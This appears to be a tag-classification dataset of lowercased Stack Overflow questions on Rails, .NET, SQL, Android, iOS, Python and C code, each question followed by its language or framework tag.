can i restrict rails controller methods to development environment   i have a rails application that generates a weekly report and emails it out.  i don t want the production app to have any sort of web interface  for security and convenience reasons (don t want to maintain a web interface).      however  i do have a rudimentary web interface to the database that i d like to keep available in my development environment for debugging  etc.    is there an easy way to make the controller methods invalid unless i m in the development rails environment,ruby-on-rails
service layer which can switch between web service layer and data access layer  i am building an application that will function as a client-server application  and also as a disconnected client application.  i will be using wpf (browser app for client-server application).      when interacting with the server s database  i will need to connect using wcf web services.  when connecting with the localized database  i will need to connect using the local db s data access layer.      what methods/patterns exist for this sort of architecture       <strong>edit:</strong> i was able to create a common service layer for both data/wcf web services as charles recommends below with the help of this <a href= https://stackoverflow.com/questions/2607347/object-hierarchy-returned-by-wcf-service-is-different-than-expected >so post</a>.,.net
profit for products  i d like to create a query gives me overall revenue per product greater than 150000 in in descending order.   you can see my tables and desired output on images i have added,sql
python choosing a name from a list  is there a way to pick a event from the list and choose it so that a name will be added      events=[ 100m dash ]   <pre><code> menu = int(input( ###welcome to the pe departments sports day          program\nplease enter a number to progress through the menu:\n1.input   events and names  of students\n2.add the winners to a text document\n3.open    the house point tracking### ))  if menu == 1:  menu1 = int(input( please enter a number to progress through the menu:\n1.add an event\n2.add an name ))  if menu1 == 2:     print events       name_1 = int(input( which event do you want to add the name to : ))     if name_1 == events:         name_1_1 = str(input( please enter a name you would like to enter: ))         print(name_1_1   has been added to text file: names and events )         file_appender = open( names.txt   w )         file_appender.write(name_1_1) </code></pre>,python
digital watch html code doesn t work after hosting on google drive  this is my code:   <pre><code>&lt;center&gt; &lt;div style= text-align:center;width:350px;padding:0.5em 0; &gt;  &lt;h2&gt;&lt;a style= text-decoration:none;  href= http://www.zeitverschiebung.net/en/country/bd &gt;&lt;span style= color:gray; &gt;&lt;/span&gt;&lt;br /&gt;&lt;/a&gt; &lt;/h2&gt;  &lt;iframe src= http://www.zeitverschiebung.net/clock-widget-iframe language=en&amp;timezone=asia%2fdhaka  width= 100%  height= 130  frameborder= 0  seamless&gt; &lt;/iframe&gt; &lt;small style= color:gray; &gt; &lt;a href= http://www.zeitverschiebung.net/en/  style= color: gray; &gt; &lt;/a&gt; &lt;/small&gt;  &lt;/div&gt; &lt;/center&gt; </code></pre>   when i run this code from notepad++ on any browser then it works  but after hosting on google drive it doesn t work. what is the problem,html
string building and form component access from class  <strong>background</strong>    i am writing a program  which collects different events (key press  mouse position  and others) and sends a single string to a serial port. there is a small part of the program  where a key is pressed  to control movement (forward - w key; left - a key  forward-left - wa key). when an event happens  a method is invoked  which grabs a numeric string and processes in the finalstringclass class. on the main form   there is a method  which assigns collected value to a label. however  i am encountering a problem with code due to lack of experience in programming :(    <strong>main form:</strong>   <pre><code>    serial port;     finalstringclass fstr;     public form1()     {         initializecomponent();         //... serial port settings         timer.start();         fstr = new finalstringclass(updatelabel2);     }      public void updatelabel2(string x  string y  string speed  string mvm) //     {         label2.text =  x:   + x +  y:   + y +  speed:   + speed +  mvm:   + mvm;     }     private void timer_tick(object sender  eventargs e)     {         var up = keyboardinfo.getkeystate(keys.w);         var down = keyboardinfo.getkeystate(keys.s);         var left = keyboardinfo.getkeystate(keys.a);         var right = keyboardinfo.getkeystate(keys.d);          if (left.ispressed)         {             if (up.ispressed == true) // if w and a keys are pressed  -&gt;             {                 fstr.mvmmethod( 7 ); // this method is triggered                 return;             }             if (down.ispressed)             {                 fstr.mvmmethod( 9 );                 return;             }             if (right.ispressed)             {                  fstr.mvmmethod( 1 );                 return;             }              fstr.mvmmethod( 4 ); //if w key is pressed  then this method is triggered         }         //... (other if condition statements)          label2.text = fstr.finalstringbuilder();         port.write(fstr.finalstringbuilder());     } </code></pre>   <strong>external class:</strong>   <pre><code>class finalstringclass {     private action&lt;string  string  string  string&gt; updatelabel2;     action&lt;string&gt; _x  _y  _speed  _mvm;     string xf  yf  speedf  mvmf;      public finalstringclass(action&lt;string  string  string  string&gt; updatelabel2)     {         this.updatelabel2 = updatelabel2;     }      public finalstringclass(action&lt;string&gt; x  action&lt;string&gt; y  action&lt;string&gt; speed  action&lt;string&gt; mvm)     {         _x = x;         _y = y;         _speed = speed;         _mvm = mvm;     }      public void xmethod(string x)     {         _x(x);         xf = x;     }     public void ymethod(string y)     {         _y(y);         yf = y;     }     public void speedmethod(string speed)     {         _speed(speed);         speedf = speed;     }     public void mvmmethod(string mvm)     {         _mvm(mvm);         mvmf = mvm;     }     public string finalstringbuilder()     {         return xf + yf + speedf + mvmf;     } } </code></pre>   when working with a single parameter  everything works fine. but dealing with multiple parameters causes a problem :(    <strong>example of working with a single parameter (full working code):</strong>    <em>main form</em>   <pre><code>    using system; using system.collections.generic; using system.componentmodel; using system.data; using system.drawing; using system.io.ports; using system.linq; using system.runtime.interopservices; using system.text; using system.threading.tasks; using system.windows.forms;  namespace ffapp {     public partial class form1 : form     {         serialport port;         myclass outside;         public form1()         {             initializecomponent();             timer.start();             outside = new myclass(updatelabel);         }         public void updatelabel(string str)         {             label1.text = str;         }         private void init()         {             port = new serialport();             port.portname =  com1 ;             port.baudrate = 115200;              try             {                 port.open();             }             catch (exception e1)             {                  messagebox.show(e1.message);             }         }          public struct keystateinfo         {             private keys key;             private bool ispressed;             private bool istoggled;              public keystateinfo(keys key  bool ispressed  bool istoggled)             {                 this.key = key;                 ispressed = ispressed;                 istoggled = istoggled;             }              public static keystateinfo default             {                 get                 {                     return new keystateinfo(keys.none  false  false);                 }             }              public keys key             {                 get { return key; }             }              public bool ispressed             {                 get { return ispressed; }             }              public bool istoggled             {                 get { return istoggled; }             }         }         private void timer_tick(object sender  eventargs e)         {             var up = keyboardinfo.getkeystate(keys.w);             var down = keyboardinfo.getkeystate(keys.s);             var left = keyboardinfo.getkeystate(keys.a);             var right = keyboardinfo.getkeystate(keys.d);             keyboard kb = new keyboard();              if (left.ispressed)             {                 if (up.ispressed == true)                 {                                         outside.mymethod( 7 );                     return;                 }                 if (down.ispressed)                 {                     outside.mymethod( 9 );                     return;                 }                 if (right.ispressed)                 {                     outside.mymethod( 1 );                     return;                 }                 outside.mymethod( 4 );             }              if (right.ispressed)             {                 if (up.ispressed)                 {                     outside.mymethod( 6 );                     return;                 }                 if (down.ispressed)                 {                     outside.mymethod( 8 );                     return;                 }                 if (left.ispressed)                 {                     outside.mymethod( 1 );                     return;                 }                 outside.mymethod( 5 );             }              if (up.ispressed)             {                 if (left.ispressed)                 {                     outside.mymethod( 7 );                     return;                 }                 if (right.ispressed)                 {                     outside.mymethod( 6 );                     return;                 }                 if (down.ispressed)                 {                     outside.mymethod( 1 );                     return;                 }                 outside.mymethod( 2 );             }              if (down.ispressed)             {                 if (left.ispressed)                 {                     outside.mymethod( 9 );                     return;                 }                 if (right.ispressed)                 {                     outside.mymethod( 8 );                     return;                 }                 if (up.ispressed)                 {                     outside.mymethod( 9 );                     return;                 }                 outside.mymethod( 3 );              }              if (!right.ispressed &amp;&amp; !left.ispressed &amp;&amp; !up.ispressed &amp;&amp; !down.ispressed)             {                 outside.mymethod( 1 );             }        }          public class keyboardinfo         {             [dllimport( user32 )]             private static extern short getkeystate(int vkey);              private keyboardinfo()             {              }              public static keystateinfo getkeystate(keys key)             {                 short keystate = getkeystate((int)key);                 int low = low(keystate)  high = high(keystate);                 bool toggled = low == 1;                 bool pressed = high == 1;                 return new keystateinfo(key  pressed  toggled);             }              private static int high(int keystate)             {                 return keystate &gt; 0   keystate &gt;&gt; 0x10                         : (keystate &gt;&gt; 0x10) &amp; 0x1;             }              private static int low(int keystate)             {                 return keystate &amp; 0xffff;             }         }     } } </code></pre>   <em>class</em>   <pre><code>    using system; using system.collections.generic; using system.linq; using system.text; using system.threading.tasks;  namespace ffapp {     class myclass     {         action&lt;string&gt; labelsetter;          public myclass(action&lt;string&gt; labelsetter)         {             this.labelsetter = labelsetter;         }         public string myproperty { get; set; }          public void mymethod(string text)         {             labelsetter(text);             myproperty = text;         }     } } </code></pre>   or is it possible within this code  to get changing values (store in a variable)  when pressed w/a/d/s/w+a/w+d etc keys in order to allow building final string  ex: <code>string finalstring = x + y + speed + pressed_key;</code>,c#
i set a mnemonic key to a button to close a frame. but its only work when button is on the top of the frame. in java  i set a mnemonic key to a button to close the current jframe. but its only work    when i set the button on top of the frame.    i also tried requestfocus on button but its not working.   <pre><code>jbutton btnclose = new jbutton( close ); btnclose.requestfoucus();     btnclose.addkeylistener(new keyadapter() {         @override         public void keypressed(keyevent e) {             if(e.getkeycode()==keyevent.vk_escape){                 iff.dispose();             }         }     });      btnclose.setbackground(color.red);     btnclose.setbounds(769  570  89  23);     iff.getcontentpane().add(btnclose); </code></pre>,java
uitextfield placeholder has different font size  i have a few textfields made in interface builder and then a few made programatically. the placeholder text seems to have different sizes. it seems i should be able to get the same font without subclassing uitextfield. i am just trying to recreate the a textfield which looks like the one from interface builder.   <pre><code>uitextfield *textfield = [[uitextfield alloc] init]; textfield.placeholder = string; [textfield settranslatesautoresizingmaskintoconstraints:no]; [textfield setborderstyle:uitextborderstyleroundedrect]; [self.view addsubview:textfield]; textfield.returnkeytype = uireturnkeynext; textfield.inputaccessoryview = [[qedckeyboardaccessory alloc] initwithdelegate:self]; textfield.delegate = self; </code></pre>,ios
using groupby for multiple columns and returning list<tsource>  in this <a href= https://stackoverflow.com/questions/6935264/group-by-with-multiple-columns-using-lambda ><strong>article</strong></a> it shows how we can group multiple columns in a lambda expression. however it returns an <code>ienumerable&lt;ienumerable&lt;tsource&gt;&gt;</code> and that is not the result that i want to achieve.    i created a class which contains a few properties.   <pre><code>internal class class1 {     internal string prop1 { get; set; }     internal string prop2 { get; set; }     internal decimal  prop3 { get; set; } } </code></pre>   now  if i create the following lambda expression  it returns an <code>iqueryable&lt;ienumerable&lt;class1&gt;&gt; listclass1</code>   <pre><code>var listclass1 = context.table1     .join(context.table2              t1 =&gt; t1.id              t2 =&gt; t2.table1id              (t1  t2) =&gt; new { t1  t2 })     .where(/*some expressions here*/)     .groupby(data =&gt; new     {         data.t1.column1          data.t2.column2      })     .select(data =&gt; data.select(x =&gt; new class1     {         prop1 = x.t1.column1          prop2 = x.t2.column2          prop3 = x.t1.column3     })); </code></pre>   but what i want to have is a <strong><code>list&lt;class1&gt; listclass1</code></strong> because i am planning to use <code>foreach</code> to iterate each element in the list. is this possible,c#
prefill form through url with square brackets in field name  i m trying to fill a table in a webpage using a url.  the problem is the field name that i want to populate has square brackets  which are invalid url characters.  i ve tried replacing [  with %5b and ] with %5d  but the fields still do not populate.    what i m trying to accomplish:   <pre><code>http://www.url.com/index.php var[1][1]=1&amp;var[1][2]=16 </code></pre>   i want to give people a link to a url with populated fields.  i don t own the website so i can t change the field names.  is there an alternative way of accomplishing this,html
resign first responder doesn t work when picker is show  i ve a problem with date picker. when i touch on textfield(datumletu) i call picker and datumletu [resign firstresponder]. but no effect.  here is my code. i m trying everything but nothing is working.   <pre><code>-(void)textfielddidbeginediting:(uitextfield *)textfield {     cgrect screenrect = [[uiscreen mainscreen] bounds]; cgfloat screenwidth = screenrect.size.width; cgfloat screenheight = screenrect.size.height;  if (textfield == self.datumletu) {     [self.view endediting:yes];   [self.autotextfieldpriletu resignfirstresponder];   [self.autotextfield resignfirstresponder];   [self.cisloletu resignfirstresponder];      [self.datumletu resignfirstresponder];     self.picker.hidden = yes;     [self showpicker];      cgrect rect = self.view.frame;      if(rect.origin.y == 0)     {         rect.origin.y -= 110;         rect.size.height += 110;         [uiview animatewithduration:0.2 animations:^{             self.view.frame = rect;         }];         self.picker.frame = cgrectmake(0  screenheight / 2 +  screenheight / 3.2  screenwidth  screenheight/2);      } </code></pre>   and picker    <pre><code>-(void)showpicker {     [self showaction]; }  -(void) showaction  { cgrect screenrect = [[uiscreen mainscreen] bounds]; cgfloat screenwidth = screenrect.size.width; cgfloat screenheight = screenrect.size.height;     self.picker = [[picker alloc] initwithframe:cgrectmake(0  screenheight / 2 +  screenheight / 10.5  screenwidth  screenheight/2)]; [self.picker addtargetfordonebutton:self action:@selector(cancelpressed)]; [self.picker addtargetforcancelbutton:self action:@selector(cancelpressed)];  [self.picker setmode:uidatepickermodedateandtime]; [self.picker.picker addtarget:self action:@selector(pickerchanged:) forcontrolevents:uicontroleventvaluechanged]; [self.view addsubview:self.picker]; self.picker.hidden = no;  } </code></pre>   <img src= https://i.stack.imgur.com/emf3f.png  alt= enter image description here >    any help is highly appreciated.,ios
relative path in asp.net web.config  i have the following tag in my asp.net web.config application:   <pre><code>&lt;add name= monitorentities  connectionstring= metadata=res://*/models.monitordb.csdl|res://*/models.monitordb.ssdl|res://*/models.monitordb.msl;provider=system.data.sqlite;provider connection string= data source=&amp;quot;c:\documents and settings\jdoe\desktop\lcdmanager\lcdmanager\app_data\monitor.sqlite&amp;quot;   providername= system.data.entityclient  /&gt; </code></pre>   that refers to an entityframework instance mapping a sqlite db located in the app_data directory of the application.    how can i make the link relative so that deploying in a production environment is easier     thanks,asp.net
how can i pass an object between activities without starting the second activity  my app is about adding different objects to a cart.    i need the cart activity to recieve different objects without starting until i press the cart button.    for example  i have to add the object  x  from activity  a   then add another object  y  from activity  b  and then start activity  cart  and recieve objects  x  and  y  to do stuff with them.     any help on how to do this is apreciated. thanks.,android
mysql case/if over a value selected with select  i d like to run a case statement or if on the count_a returned by the select query below and set the value of a variable a_val.   <pre><code>select a_date  count(a_ins_nam) as count_a from table1 where a_ins_nam in (     select a_ins_nam from iwd     where i_id in     (         select im_id from tim where im_id = (             select t_id from tws where tn =  abced )     ) ) and a_date between  2014-01-01  and  2015-05-01  and a_ins_nam not like  %pk%  </code></pre>   i d like the output to have 2 columns namely a_date  a_val. the value of a_val gets set based on    <pre><code>if count_a  = 10  then  a_val = 1 if count_a  = 20  then  a_val = 2 if count_a  between 30 &amp; 50  then  a_val =  3 if count_a  &gt; 50  then  a_val = 5 </code></pre>   could i get someone s help please,mysql
href javascript is not working on my image  i m adding images stored in firebase to my html page from the database. that works and the image shows up  but i am unable to make the href property work on the img element. i want it to be clickable. suggestions what i am doing wrong here    <pre><code>var img = document.createelement( img ); img.src = snapshot.child( urltoimage   + (i) +   content ).val(); img.href = snapshot.child( urltoimage   + (i) +   content ).val(); img.height = 30; img.width = 30; contenta[i].appendchild(img); </code></pre>,javascript
generic failure when sending message in android  i have the following code to send a sms to a number that is supplied from a sms listener.   <pre><code>  private void sendsms(string phonenumber  string message) {     string sent =  sms_sent ;     string delivered =  sms_delivered ;      pendingintent sentpi = pendingintent.getbroadcast(this  0              new intent(sent)  0);      pendingintent deliveredpi = pendingintent.getbroadcast(this  0              new intent(delivered)  0);      //---when the sms has been sent---     registerreceiver(new broadcastreceiver(){         @override         public void onreceive(context arg0  intent arg1) {             switch (getresultcode())             {                 case activity.result_ok:                     toast.maketext(getbasecontext()   sms sent                               toast.length_short).show();                     break;                 case smsmanager.result_error_generic_failure:                     toast.maketext(getbasecontext()   generic failure                               toast.length_short).show();                     break;                 case smsmanager.result_error_no_service:                     toast.maketext(getbasecontext()   no service                               toast.length_short).show();                     break;                 case smsmanager.result_error_null_pdu:                     toast.maketext(getbasecontext()   null pdu                               toast.length_short).show();                     break;                 case smsmanager.result_error_radio_off:                     toast.maketext(getbasecontext()   radio off                               toast.length_short).show();                     break;             }         }     }  new intentfilter(sent));      //---when the sms has been delivered---     registerreceiver(new broadcastreceiver() {         @override         public void onreceive(context arg0  intent arg1) {             switch (getresultcode()) {                 case activity.result_ok:                     toast.maketext(getbasecontext()   sms delivered                               toast.length_short).show();                     break;                 case activity.result_canceled:                     toast.maketext(getbasecontext()   sms not delivered                               toast.length_short).show();                     break;             }         }     }  new intentfilter(delivered));      smsmanager sms = smsmanager.getdefault();     sms.sendtextmessage(phonenumber  null  message  sentpi  deliveredpi); } </code></pre>   this is the button that sends the sms. the msgto is getting the sms number from a smslistener intent and it is giving the correct phone number. so  nothing wrong with country code or number.     and also there is not any case of sms flooding  because i m using a button that sends a single sms only on-click.     also i have included the send_sms and receive_sms permissions. what am i missing    <pre><code>button button = (button)findviewbyid(r.id.send);     button.setonclicklistener(new view.onclicklistener() {         @override         public void onclick(view v) {             stringbuffer.tostring()  null  null);             sendsms(msgto stringbuffer.tostring().trim());         }     }); </code></pre>   now the funny part is  this thing worked fine on my nokia xl. but i tried running in samsung and hp tab  but in both of them i got a  generic failure . any help is appreciated. thanks in advance.,android
connection refused to webserver connecting from real device  i am trying to get my current location in android and send it to server. everything goes well but while sending it to server i get error in httpresponse.    below is the log error file   <pre><code>02-18 20:56:54.424: w/system.err(16477): org.apache.http.conn.httphostconnectexception:           connection to 19x.xx.xx.x:xxxx refused     02-18 20:56:54.429: w/system.err(16477):    at org.apache.http.impl.conn.defaultclientconnectionoperator.openconnection(defaultclientconnectionoperator.java:183) 02-18 20:56:54.429: w/system.err(16477):    at org.apache.http.impl.conn.abstractpoolentry.open(abstractpoolentry.java:164) 02-18 20:56:54.429: w/system.err(16477):    at org.apache.http.impl.conn.abstractpooledconnadapter.open(abstractpooledconnadapter.java:119) 02-18 20:56:54.429: w/system.err(16477):    at org.apache.http.impl.client.defaultrequestdirector.execute(defaultrequestdirector.java:360) 02-18 20:56:54.429: w/system.err(16477):    at org.apache.http.impl.client.abstracthttpclient.execute(abstracthttpclient.java:670) 02-18 20:56:54.429: w/system.err(16477):    at org.apache.http.impl.client.abstracthttpclient.execute(abstracthttpclient.java:509) 02-18 20:56:54.429: w/system.err(16477):    at org.apache.http.impl.client.abstracthttpclient.execute(abstracthttpclient.java:487) 02-18 20:56:54.429: w/system.err(16477):    at com.example.locationservicestest.locationwebservice.doinbackground(locationwebservice.java:53) 02-18 20:56:54.429: w/system.err(16477):    at com.example.locationservicestest.locationwebservice.doinbackground(locationwebservice.java:1) </code></pre>,android
use static class and method instead of session in asp.net  in my webapplication session is used in business layer  and this business layer (dll) are used in mobile application. can i use static class and method to remove this session from business layer,asp.net
voice recognition not working in api 23  i am trying the following code in api 23;  the code runs  fine in android 5.1 emulator but continuously stops in any android that has api >=22 it says google voice recognition cant be reached at the moment.    i have tried setting permission :    <pre><code>&lt;uses-permission android:name= android.permission.internet  &gt;&lt;/uses-permission&gt;  &lt;uses-permission android:name= android.permission.record_audio  &gt;&lt;/uses-permission&gt;  &lt;uses-permission android:name= android.permission.access_network_state  &gt;&lt;/uses-permission&gt; </code></pre>   but nothing helps    souce code:    <pre><code>package com.example.freeman.voicerecognition; import android.content.activitynotfoundexception; import android.content.intent; import android.os.bundle; import android.speech.recognizerintent; import android.support.v7.app.appcompatactivity; import android.view.view; import android.widget.imageview; import android.widget.textview;  import java.util.arraylist; import java.util.locale;  public class mainactivity extends appcompatactivity {      private textview voicetotext;     private static final int req_code_voice_in = 143;      @override     protected void oncreate(bundle savedinstancestate) {         super.oncreate(savedinstancestate);         setcontentview(r.layout.activity_main);          voicetotext = (textview) findviewbyid(r.id.voicein);         imageview speakpromt = (imageview) findviewbyid(r.id.btntospeak);         speakpromt.setonclicklistener(new view.onclicklistener() {              @override             public void onclick(view v) {                 startvoicetotextservice();             }         });     }      private void startvoicetotextservice() {         intent intent = new intent(recognizerintent.action_recognize_speech);         //you can set here own local language.         intent.putextra(recognizerintent.extra_language_model  recognizerintent.language_model_free_form);         intent.putextra(recognizerintent.extra_language  locale.getdefault());         intent.putextra(recognizerintent.extra_prompt   hiiii  tell me something );         try {             startactivityforresult(intent  req_code_voice_in);         }         catch (activitynotfoundexception a) {          }     }      @override     protected void onactivityresult(int requestcode  int resultcode  intent data) {         super.onactivityresult(requestcode  resultcode  data);          switch (requestcode) {             case req_code_voice_in: {                 if (resultcode == result_ok &amp;&amp; null != data) {                     arraylist&lt;string&gt; result = data.getstringarraylistextra(recognizerintent.extra_results);                     voicetotext.settext(result.get(0));                 }                 break;             }          }     } } </code></pre>   and    <pre><code>&lt; xml version= 1.0  encoding= utf-8  &gt; &lt;relativelayout xmlns:android= http://schemas.android.com/apk/res/android      xmlns:tools= http://schemas.android.com/tools      android:id= @+id/activity_main      android:layout_width= match_parent      android:layout_height= match_parent      tools:context= .mainactivity &gt;      &lt;textview         android:id= @+id/voicein          android:layout_width= wrap_content          android:layout_height= wrap_content          android:textsize= 30sp          android:textcolor= #1e9aff          android:textstyle= bold          android:text= hint          android:layout_marginleft= 10dp          android:layout_marginright= 10dp          android:layout_below= @+id/btntospeak          android:layout_alignparentstart= true          android:layout_margintop= 65dp  /&gt;      &lt;imageview         android:id= @+id/btntospeak          android:layout_width= 70dp          android:layout_height= 80dp          android:layout_centerhorizontal= true          android:layout_centervertical= true          android:background= @android:drawable/presence_audio_busy          /&gt;  &lt;/relativelayout&gt; </code></pre>   any help will be greatly appreciated.,android
python: rename files based on a python list  i have a directory that contains a thousand or so txt files. i ve read and explored these files with glob (searching for specific strings within the file) and i ve appended the filenames of the files of interest to a list in python  like so:    <code>list_of_chosen_files = [ file2.txt    file10.txt    file17.txt   ...]</code>    i ll be using this list for other things as well  but now i m trying to figure out how to use the os module to cross-reference the filenames in the directory against the list above and  if the filename is in that list  to add  1-  to the beginning of the filename. i ve saved  1-  in a variable for reuse as well. here s what i have so far: -   <pre><code>var =  1-   import os for filename in os.listdir( . ):     if filename == list_of_chosen_files[:]:         os.rename(filename  var+filename)         print filename </code></pre>   it s running without any errors in anaconda  but nothing s printing and none of the files are getting renamed. i feel like it should be such an easy fix  but i m concerned about poking around directories with the os module if i don t really know what i m doing yet.     any help would be greatly appreciated! thanks!,python
convert multiple lines to single line and store in a variable for further analysis  in a mail  below lines are there. these lines are to be converted to single line based on  list num  . for printing  the below code is working. but when i try to store in a variable as list or string  it is not working. have given both the codes below.   <pre><code>mail = mailbody.splitlines() nmail =    lnflg =  yes  for line in mail:     if re.findall(r list num:\s*([a-z][0-9]{5}[a-z]*)   line) != []:         lnflg =  no          print  \n      if lnflg ==  no :         print line.rstrip(os.linesep)      else:         print line </code></pre>   below code is not working  if i print using for loop   <pre><code>mail = mailbody.splitlines() nmail =    lnflg =  yes  for line in mail:     if re.findall(r list num:\s*([a-z][0-9]{5}[a-z]*)   line) != []:         lnflg =  no          #print  \n          nmail = nmail +  \n      if lnflg ==  no :         #print line.rstrip(os.linesep)          nmail = nmail + line.rstrip(os.linesep)     else:         nmail = nmail + line </code></pre>  <h1>for loop to print the nmail</h1>  <pre><code>for ln in nmail:     print ln    list num:  l08586    proj/prob: 09p0087           application: aci    load to:   tfdsa-sa      until: on program base   oncall grp: tpfaci1   requester: hzdsf1 - abcd       work phone: xx-xx-xxxxxxxx   approver:  fsdsj8                                 supervisor: abcd xyz   updated:   04/28/2011 (01:05:46 e)   segments:  pessfh pesgsdg   purpose:   this is related to 09p0087              barcode will be submitted in another pgmlst.    list num:  l08586    proj/prob: 09p0087           application: aci   load to:   tfdsa-sa      until: on program base   oncall grp: tpfaci1   requester: hzdsf1 - abcd       work phone: xx-xx-xxxxxxxx   approver:  fsdsj8                                 supervisor: abcd xyz   updated:   04/28/2011 (01:05:46 e)   segments:  pessfh pesgsdg   purpose:   this is related to 09p0087              barcode will be submitted in another pgmlst. </code></pre>   expected output in a variable:   <pre><code>list num:  l08586    proj/prob: 09p0087           application: aci load to:   tfdsa-sa      until: on program base   oncall grp: tpfaci1 requester: hzdsf1 - abcd    work phone: xx-xx-xxxxxxxx approver:  fsdsj8                                 supervisor: abcd xyz updated:   04/28/2011 (01:05:46 e) segments:  pessfh pesgsdg purpose:   this is related to 09p0087             barcode will be submitted in another pgmlst.   list num:  l08586    proj/prob: 09p0087           application: aci load to:   tfdsa-sa      until: on program base   oncall grp: tpfaci1 requester: hzdsf1 - abcd    work phone: xx-xx-xxxxxxxx approver:  fsdsj8                                 supervisor: abcd xyz updated:   04/28/2011 (01:05:46 e) segments:  pessfh pesgsdg purpose:   this is related to 09p0087             barcode will be submitted in another pgmlst. </code></pre>,python
issue with uitextfield into a nsmutablearray  i had this working using nsarray until i realize i need to insert a string into array. now i m changing this to a nsmutablearray  but having issues with my syntax. am i allowed to use componentsjoinedbystring in nsmutable arrays    <pre><code>    nsstring *item;     int numofseg;     int needseg; if (textfield.text == @ :: ) {         numofseg = 0;      }     nsmutablearray *dlist = [[nsmutablearray alloc]init];     //take string from textfield and split it into a list on colons.     dlist = [textfield.text componentsseparatedbystring:@ : ];     //run through list to count how many segments. non blank ones.     for (item in dlist) {         if (item != @  ){             numofseg = numofseg + 1;             nslog(@ %@  numofseg);         }     }     //determine number of segments     needseg = 8 - numofseg;     while (needseg &gt; 0) {         //insert 0000 at blank spot         [dlist insertstring:@ 0000  atindex:@  ];         needseg = needseg - 1;     }     for (item in dlist) {         if (item == @  ) {             //remove blank spaces from list             [dlist removeallobjects:item];         }     }     //join the list of times into a string with colon     nsstring *joinstring = [dlist componentsjoinedbystring:@ : ];     nslog(@ %@  joinstring); </code></pre>,ios
how to convert mid file to wav file   i want to play background music in my game application using avaudio player.i am using .mdi file.this file is not playing in avaudio player.so i want to convert this .mdi file to wav file.is it possible,iphone
about for loop in c/cpp  i run this rode in vistual studio 2013    <pre><code>#include&lt;iostream&gt;  using namespace std;  int main() {     int j;     for (int i = 0; i &lt; 3; i++)     {         for (j = 0; j &lt;= i; j++);         {             cout &lt;&lt; i &lt;&lt;     &lt;&lt; j &lt;&lt;  \t ;         }     }     return 0; } </code></pre>   but the result is    <a href= https://i.stack.imgur.com/mafnl.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/mafnl.png  alt= enter image description here ></a>    the same code in gcc/g++ are both ok so what is the right run step of for loop,c++
custom usercontrol - bring a form to the front  how to bring (form_x) to the front.  i have a custom usercontrol which opens (form_x) and i use this usercontrol for all of my forms. and now the problem is that the usercontrol opens a new (form_x) instead of bringing of(form_x) to the front.    my control   <pre><code>namespace template {     public partial class background : usercontrol     {          inifile ini = new inifile(system.io.path.getdirectoryname(system.windows.forms.application.executablepath) + @ \config.ini );          public background()         {             initializecomponent();             //console.writeline(filternumbers( 1.0.0.0. beta ));             //console.writeline(formatfilesize(125463));         }          private void lbl_about_linkclicked(object sender  linklabellinkclickedeventargs e)         {                        frm_about formoptions = new frm_about();         bool isformopen = false;         foreach (form frm in application.openforms)         {             if (frm is frm_about)             {                 frm.bringtofront();                 isformopen = true;                 break;             }         }         if (!isformopen)             formoptions.show();         else             formoptions.dispose();         }          private void thisrefresh()         {             this.lbl_about.visible = _about;             this.lbl_about.enabled = _aboute;         }          private bool _aboute;         public bool aboute         {             get { return _aboute; }             set { _aboute = value; thisrefresh(); }         }            public static string filternumbers(string mightcontainnumbers)         {             if (mightcontainnumbers == null || mightcontainnumbers.length == 0) return   ;              stringbuilder builder = new stringbuilder(mightcontainnumbers.length);             foreach (char c in mightcontainnumbers)                 if (char.isnumber(c))                     builder.append(c);              return builder.tostring();         }         public static string formatfilesize(long filesize)         {             if (filesize &lt; 0) throw new argumentoutofrangeexception( filesize );              if (filesize &gt;= 1024 * 1024 * 1024) return string.format( {0:########0.00} gb   ((double)filesize) / (1024 * 1024 * 1024));             else if (filesize &gt;= 1024 * 1024) return string.format( {0:####0.00} mb   ((double)filesize) / (1024 * 1024));             else if (filesize &gt;= 1024) return string.format( {0:####0.00} kb   ((double)filesize) / 1024);             else return string.format( {0} bytes   filesize);         }     } } </code></pre>   //,.net
iphone: can another app overwrite my sqlite database   this is a very dumb question  i m sure. but is it possible for another app to overwrite your database if they used the exact database name,iphone
c comparing binary numbers with xor  this is part of the code. here  i want to compare digits by xor. so it suppose to give  0111  but it gives  111  as result. how can i fix it  so it suppose to give  0111  but it gives  111  as result. how can i fix it    <pre><code>1 and 1 = 0 1 and 0 = 1 0 and 1 = 1 0 and 0 = 0    #include&lt;stdio.h&gt; #include&lt;stdlib.h&gt; #include&lt;math.h&gt; int main()  {        int binaryrepfordisk1=1101  binaryrepfordisk2=1010  disk3=0  xor1  xor2  power=0;      while(binaryrepfordisk1!=0)     {         xor1=binaryrepfordisk1%2;         xor2=binaryrepfordisk2%2;          if(xor1==xor2)         {             disk3=disk3+pow(10 power)*0;             power++;         }          else         {             disk3=disk3+pow(10 power)*1;             power++;                 }             binaryrepfordisk1=binaryrepfordisk1/10;         binaryrepfordisk2=binaryrepfordisk2/10;     }        printf( %d  disk3);        system( pause );     return 0; } </code></pre>,c
getting the name from another table with an id in rails  i have two models with two corresponding tables: referralrequest and gender. in the referralrequest table i store integer ids for gender named patient_gender_id and preferred_gender_id. the ids come from the genders table. i want to be able to call something like referralrequest.last.patient_gender.name to return the string from the genders table rather than the integer id from the referral_requests table  but it s not working. what am i doing wrong  all help appreciated for this rookie. thanks!    referralrequest   <pre><code>class referralrequest &lt; applicationrecord   belongs_to :user   belongs_to :gender   has_many :referral_request_concerns   has_many :concerns  through: :referral_request_concerns   has_many :referral_request_insurances   has_many :insurances  through: :referral_request_insurances   default_scope -&gt; { order(created_at: :desc) }   validates :user_id  presence: true   validates :content  presence: true  length: { minimum: 20 }   validates :patient_gender_id  presence: true   validates :preferred_gender_id  presence: true end </code></pre>   gender   <pre><code>class gender &lt; applicationrecord     has_many :referral_requests end </code></pre>   and corresponding tables:   <pre><code>  create_table  referral_requests   force: :cascade do |t|     t.text      content      t.integer   user_id      t.datetime  created_at            null: false     t.datetime  updated_at            null: false     t.integer   patient_gender_id      t.integer   preferred_gender_id      t.index [ user_id    created_at ]  name:  index_referral_requests_on_user_id_and_created_at      t.index [ user_id ]  name:  index_referral_requests_on_user_id    end    create_table  genders   force: :cascade do |t|     t.datetime  created_at   null: false     t.datetime  updated_at   null: false     t.string    name    end </code></pre>,ruby-on-rails
